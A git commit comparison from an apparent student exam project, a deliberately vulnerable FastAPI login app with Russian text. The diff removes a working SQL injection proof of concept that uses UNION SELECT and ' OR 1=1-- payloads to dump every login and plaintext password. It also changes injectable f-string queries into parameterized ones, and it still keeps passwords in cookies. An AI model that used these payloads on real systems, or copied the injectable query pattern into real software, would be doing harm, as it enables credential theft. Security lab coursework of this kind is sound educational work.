Compare commits
5 Commits
master
...
3086d1801d
| Author | SHA1 | Date | |
|---|---|---|---|
| 3086d1801d | |||
| 5c4590ff16 | |||
| c7d8803795 | |||
| 9a1b84c267 | |||
| d3e5abbc98 |
1
.gitignore
vendored
@@ -1,3 +1,4 @@
|
|||||||
|
build
|
||||||
.vscode
|
.vscode
|
||||||
**__pycache__
|
**__pycache__
|
||||||
data
|
data
|
||||||
|
Before Width: | Height: | Size: 27 KiB |
|
Before Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 145 KiB |
|
Before Width: | Height: | Size: 62 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 13 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 41 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 27 KiB |
|
Before Width: | Height: | Size: 25 KiB |
|
Before Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 89 KiB |
|
Before Width: | Height: | Size: 46 KiB |
|
Before Width: | Height: | Size: 47 KiB |
|
Before Width: | Height: | Size: 386 KiB |
|
Before Width: | Height: | Size: 46 KiB |
|
Before Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 23 KiB |
|
Before Width: | Height: | Size: 78 KiB |
@@ -1,7 +1,7 @@
|
|||||||
services:
|
services:
|
||||||
vunerable-web-app1:
|
vunerable-web-app:
|
||||||
image: kulesh_web-app:v0.0.1a
|
image: web-app:v0.0.1a
|
||||||
ports:
|
ports:
|
||||||
- "21252:8000"
|
- "80:8000"
|
||||||
volumes:
|
volumes:
|
||||||
- ./data/:/app/data
|
- ./data/:/app/data
|
||||||
39
poc.py
@@ -1,39 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
import requests
|
|
||||||
import re
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
|
|
||||||
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
BASE_URL = args.base_url
|
|
||||||
|
|
||||||
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
|
|
||||||
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
|
||||||
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
|
||||||
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
|
||||||
logins= logins_raw.split("',), ('")
|
|
||||||
|
|
||||||
|
|
||||||
passwords=[]
|
|
||||||
for login in logins:
|
|
||||||
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
|
|
||||||
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
|
||||||
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
|
||||||
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
|
|
||||||
passwords.append(password)
|
|
||||||
|
|
||||||
|
|
||||||
if logins and passwords:
|
|
||||||
for i, (login, password) in enumerate(zip(logins, passwords)):
|
|
||||||
if login == "Administrator":
|
|
||||||
print(f"{'*' * 60}")
|
|
||||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
|
|
||||||
print(f"{'*' * 60}")
|
|
||||||
else:
|
|
||||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
|
||||||
|
|
||||||
else:
|
|
||||||
print("Не удалось извлечь данные.")
|
|
||||||
|
|
||||||
58
readme.md
@@ -1,54 +1,10 @@
|
|||||||
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
|
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
|
||||||
|
|
||||||
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
|
|
||||||
|
|
||||||
# PC-Seq-Exam-WebApp
|
|
||||||
|
|
||||||
## Сборка
|
|
||||||
|
|
||||||
```sh
|
|
||||||
docker build -t kulesh_web-app:v0.0.1a .
|
|
||||||
```
|
|
||||||
|
|
||||||
## Запуск
|
|
||||||
```sh
|
|
||||||
docker compose up -d
|
|
||||||
```
|
|
||||||
## Регистрация через curl
|
|
||||||
|
|
||||||
|
|
||||||
```bash
|
**На сервере Web написать уязвимое веб-приложение Весь проект писать на рабочем столе в папке Фамилия_Web_app, где “Фамилия” - это ваша настоящая фамилия**
|
||||||
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
|
|
||||||
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
|
|
||||||
```
|
|
||||||
## SQLi
|
|
||||||
в бреду намаслал Proof Of Concept
|
|
||||||
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
|
|
||||||
пользователь очень любит скобочки кавычки и пробелы)
|
|
||||||
|
|
||||||
для запуска ставим requests,
|
1. Реализовать страницу регистрации пользователей **(1.5 балла)**
|
||||||
```pip install requests```
|
2. Реализовать страницу авторизации пользователей **(1.5 балла)**
|
||||||
в помошь)
|
3. Реализовать **Cookie (2 балла)**
|
||||||
```sh
|
4. Реализовать страницу **“приветствия пользователя”** (она должна выводить текст **“Привет, имя_пользователя”**) (Имя_пользователя, это переменная и должна равняться авторизованному пользователю), доступ на эту страницу только после авторизации **(2 балла)**
|
||||||
python ./poc.py --base-url http://aboba.eu
|
5. Обернуть готовое приложение в **Docker (3 балла)**
|
||||||
```
|
|
||||||
допустм что 2 пользователя зарегались с посмошью команд выше
|
|
||||||
|
|
||||||
```
|
|
||||||
./poc.py
|
|
||||||
************************************************************
|
|
||||||
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
|
|
||||||
************************************************************
|
|
||||||
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
Выполнил Кулеш А.Б.
|
|
||||||
Б9123-09.03.04
|
|
||||||
|
|
||||||
---
|
|
||||||
Он постоянно что-то ест, он постоянно что-то пьёт
|
|
||||||
|
|
||||||
Он быстро набирает вес, клянётся, что в спортзал пойдёт
|
|
||||||
|
|
||||||
Но продолжает что-то есть и продолжает что-то пить
|
|
||||||
68
src/app.py
@@ -7,14 +7,12 @@ DB_PATH = "./data/database.db"
|
|||||||
|
|
||||||
conn = sqlite3.connect(DB_PATH)
|
conn = sqlite3.connect(DB_PATH)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
cursor.execute(
|
cursor.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)")
|
||||||
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
|
|
||||||
)
|
|
||||||
|
|
||||||
app = FastAPI(
|
app = FastAPI(
|
||||||
docs_url=None, # Disable Swagger UI
|
docs_url=None, # Disable Swagger UI
|
||||||
redoc_url=None, # Disable ReDoc
|
redoc_url=None, # Disable ReDoc
|
||||||
openapi_url=None, # Disable OpenAPI JSON schema
|
openapi_url=None # Disable OpenAPI JSON schema
|
||||||
)
|
)
|
||||||
|
|
||||||
STYLES = """
|
STYLES = """
|
||||||
@@ -29,7 +27,6 @@ body {
|
|||||||
</style>
|
</style>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.get("/register", response_class=HTMLResponse)
|
@app.get("/register", response_class=HTMLResponse)
|
||||||
async def register_form():
|
async def register_form():
|
||||||
return f"""
|
return f"""
|
||||||
@@ -47,21 +44,17 @@ async def register_form():
|
|||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.post("/register")
|
@app.post("/register")
|
||||||
async def register(login: str = Form(...), password: str = Form(...)):
|
async def register(login: str = Form(...), password: str = Form(...)):
|
||||||
try:
|
try:
|
||||||
cursor.execute(
|
cursor.execute("INSERT INTO users (login, password) VALUES (?, ?)", (login, password))
|
||||||
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
|
|
||||||
)
|
|
||||||
conn.commit()
|
conn.commit()
|
||||||
response = RedirectResponse(url="/welcome", status_code=302)
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
response.set_cookie("login", login)
|
response.set_cookie("login", login)
|
||||||
response.set_cookie("password", password)
|
response.set_cookie("password", password)
|
||||||
return response
|
return response
|
||||||
except sqlite3.IntegrityError:
|
except sqlite3.IntegrityError:
|
||||||
return HTMLResponse(
|
return HTMLResponse(f"""
|
||||||
f"""
|
|
||||||
<html>
|
<html>
|
||||||
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -69,10 +62,7 @@ async def register(login: str = Form(...), password: str = Form(...)):
|
|||||||
<a href='/register'>Попробовать снова</a>
|
<a href='/register'>Попробовать снова</a>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
""",
|
""", status_code=400)
|
||||||
status_code=400,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
@app.get("/login", response_class=HTMLResponse)
|
@app.get("/login", response_class=HTMLResponse)
|
||||||
async def login_form():
|
async def login_form():
|
||||||
@@ -91,21 +81,17 @@ async def login_form():
|
|||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
@app.post("/login")
|
@app.post("/login")
|
||||||
async def login(login: str = Form(...), password: str = Form(...)):
|
async def login(login: str = Form(...), password: str = Form(...)):
|
||||||
cursor.execute(
|
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
|
||||||
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
user = cursor.fetchone()
|
||||||
)
|
|
||||||
user = cursor.fetchall()
|
|
||||||
if user:
|
if user:
|
||||||
response = RedirectResponse(url="/welcome", status_code=302)
|
response = RedirectResponse(url="/welcome", status_code=302)
|
||||||
response.set_cookie("login", login)
|
response.set_cookie("login", login)
|
||||||
response.set_cookie("password", password)
|
response.set_cookie("password", password)
|
||||||
return response
|
return response
|
||||||
else:
|
else:
|
||||||
return HTMLResponse(
|
return HTMLResponse(f"""
|
||||||
f"""
|
|
||||||
<html>
|
<html>
|
||||||
<head><title>Ошибка входа</title>{STYLES}</head>
|
<head><title>Ошибка входа</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -113,10 +99,7 @@ async def login(login: str = Form(...), password: str = Form(...)):
|
|||||||
<a href='/login'>Попробовать снова</a>
|
<a href='/login'>Попробовать снова</a>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
""",
|
""", status_code=401)
|
||||||
status_code=401,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
@app.get("/welcome", response_class=HTMLResponse)
|
@app.get("/welcome", response_class=HTMLResponse)
|
||||||
async def welcome(request: Request):
|
async def welcome(request: Request):
|
||||||
@@ -124,32 +107,35 @@ async def welcome(request: Request):
|
|||||||
password = request.cookies.get("password")
|
password = request.cookies.get("password")
|
||||||
if not login or not password:
|
if not login or not password:
|
||||||
return RedirectResponse(url="/login")
|
return RedirectResponse(url="/login")
|
||||||
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
cursor.execute("SELECT * FROM users WHERE login=? AND password=?", (login, password))
|
||||||
print(f"executing: {query}")
|
user = cursor.fetchone()
|
||||||
cursor.execute(
|
|
||||||
query
|
|
||||||
)
|
|
||||||
user = cursor.fetchall()
|
|
||||||
if user:
|
if user:
|
||||||
return f"""
|
return f"""
|
||||||
<html>
|
<html>
|
||||||
<head><title>Добро пожаловать</title>{STYLES}</head>
|
<head><title>Добро пожаловать</title>{STYLES}</head>
|
||||||
<body>
|
<body>
|
||||||
<h1>Привет, {str(user)[3:-4]}</h1>
|
<h1>Привет, {login}</h1>
|
||||||
<button onclick="
|
<form action="/logout" method="post" onsubmit="return logoutAlert();">
|
||||||
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
<button type="submit">Выйти</button>
|
||||||
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
</form>
|
||||||
window.location.href = '/login';
|
<script>
|
||||||
">Выйти</button>
|
function logoutAlert() {{
|
||||||
|
alert('Вы вышли из аккаунта');
|
||||||
|
return true;
|
||||||
|
}}
|
||||||
|
</script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
"""
|
"""
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return RedirectResponse(url="/login")
|
return RedirectResponse(url="/login")
|
||||||
|
|
||||||
|
@app.post("/logout")
|
||||||
|
async def logout():
|
||||||
|
response = RedirectResponse(url="/login", status_code=302)
|
||||||
|
response.delete_cookie("login")
|
||||||
|
response.delete_cookie("password")
|
||||||
|
return response
|
||||||
|
|
||||||
@app.get("/", include_in_schema=False)
|
@app.get("/", include_in_schema=False)
|
||||||
async def root():
|
async def root():
|
||||||
|
|||||||